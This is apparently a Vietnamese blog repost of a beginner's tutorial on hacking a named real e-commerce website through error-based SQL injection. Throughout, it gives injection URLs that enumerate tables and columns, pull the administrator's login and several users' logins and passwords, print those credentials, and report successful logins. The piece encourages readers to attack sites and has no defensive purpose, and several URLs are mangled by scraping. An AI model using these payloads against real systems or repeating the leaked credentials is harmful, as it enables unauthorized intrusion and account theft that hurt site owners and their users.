Trao đổi với tôi

http://www.buidao.com

12/7/09

[Hacking] Khai thác SQL Injection để hack DB

Bài viết này do bạn Neo viết ra, nhằm giúp đỡ các bạn không biết gì về Hack có thể Hack được một trang Web khi phát hiện bị lỗi SQL Injection và có sử dụng OLE DB đồng thời cũng để khích lệ các thành viên và điều hành viên tích cực Post bài và săn Bug nhiều hơn nữa trong forumj của bạn ấy. Vì thấy đây là 1 bài viết khá bổ ích nên muội đã sưu tầm lại cho các huynh tìm hiểu.

======================

Ở đây tôi xin giới thiệu cách Hack vào Website http://www.equipmentworldindia.com vì Website này không có nhiều thông tin quan trọng nên mức ảnh hưởng khi đưa ra cho các bạn thực hành sẽ không cao.

Bây giờ ta bắt đâu công việc

bug : http://www.equipmentworldindia.comsh…asppid= 1’/

Kết quả

Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E14)

Unclosed quotation mark before the character string ”.

shopViewProduct.asp, line 115

1. Thu thập cấu trúc dữ liệu

Ta bắt đầu lấy cấu trúc dữ liệu của Website này.

Lấy Table đầu tiên trong CSDL của Website

Trích dẫn:httpwww.equipmentworldindia.comshopViewProduct.asp PID=1%20and%201=convert(int,(select%20top%201%20ta ble_name%20from%20information_schema.tables))##sp_ password

Cho ta kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘EWIAlsoArticle’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có table đầu tiên ‘EWIAlsoArticle’

Lấy tiếp table thứ hai

Trích dẫn:httpwww.equipmentworldindia.comshopViewProduct.asp PID=1%20and%201=convert(int,(select%20top%201%20ta ble_name%20from%20information_schema.tables%20wher e%20table_name%20not%20in%20(’EWIAlsoArticle’)))## sp_password

Kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘dtproperties’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy table thứ hai là ‘dtproperties’

Lấy tiếp table thứ ba

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20table_ name%20from%20information_schema.tables%20where%20 table_name%20not%20in%20(’ewialsoarticle’,’dtprope rties’)))/##sp_password

Kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘ewi_Admin_User’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có table thứ 3 là ‘ewi_Admin_User’ một Table quan trọng.

Nếu muốn các bạn có thể tiếp tục lấy thêm các table khác, để lấy được đúng table mà bạn cần.

Làm tương tự cho các table tiếp theo, các bạn có thể lấy được table EWIUsers là Table chứa thông tin về thành viên đăng ký trong Website này.

2. Lấy User và Pass Admin

Biết Table Admin là ta phải thu thập nốt các Column trong Table đó.

Lấy Column đầu tiên

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewi_admin_user’)))/##sp_password

Kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘Userid’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có Column đầu tiên là ‘Userid’
Sau đó lấy tiếp column tiếp theo bằng where column_name not in bằng URL sau

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewi_admin_user’)%20and%20column_nam e%20not%20in%20(’userid’)))/##sp_password

Kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘Password’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta lấy được column thứ hai là Password.

Bây giờ thì ta lấy Pass Admin được dễ dàng.

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20userid %2b”%2bpassword%20from%20ewi_admin_user))/##sp_password

Kết quả là

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the varchar value ‘ewistarplus’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy UserPass của Admin là ewistarplus

Đăng nhập thử

http://www.equipmentworldindia.com

Đăng nhập thành công. Bạn đã là Admin của Site này.

Và từ đó có thể quản lý người dùng dễ dàng. Tuy nhiên phần dưới đây tôi vẫn trình bày cách lấy User và Pass của người dùng nhằm mục đích phần này để các bạn tự làm theo giống như đã là với lấy Pass Admin. Nếu ko làm được các bạn có thể xem Guide tiếp.

3. Lấy thông tin người dùng

Table chứa User và Pass của người sử dụng trong site này là ‘EWIUsers’. Các bạn thu thập các column của table này và có danh sách các column như sau

Trích dẫn:‘User_Id’,’Loginname’,’Password’,’UserType’,’Creat iondate’
(Thông qua URL http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewiusers’)%20and%20column_name%20no t%20in%20(’user_id’,’loginname’,’password’,’userty pe’,’creationdate’)))/##sp_password)

Lấy User và Password của người dùng đầu tiên

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20loginn ame%2b”%2bpassword%20from%20ewiusers))/##sp_password

Kết quả

Trích dẫn:Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the varchar value ‘advanced1advanced1′ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy UserPass của người dùng đầu tiên là advanced1advanced1

Đăng nhập thử http://www.equipmentworldindia.com

Nhập User và Pass vào Form Login phía tay trái, đăng nhập thành công. Done !

Bạn có thể lấy User và Pass của người dùng tiếp theo bằng where User_id not in

Ví dụ lấy UserPass của người thứ hai

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20loginn ame%2b”%2bpassword%20from%20ewiusers%20where%20us er_id%20not%20in%20(’1′)))/##sp_password

Kết quả

Trích dẫn:Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the varchar value ‘agilent1agilent1′ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy User và Pass của người thứ hai là agilent1agilent1

Đến đây tôi xin kết thúc bài viết của mình. Phần còn lại các bạn có thể tự làm nốt hoặc nghiên cứu gì đó cao siêu hơn.

Chúc các bạn Hack vui vẻ và đừng Drop DB của người ta nhé )

Link: http://phucjimy.wordpress.com/2008/04/02/khai-thac-sql-injection-d%E1%BB%83-hack-db/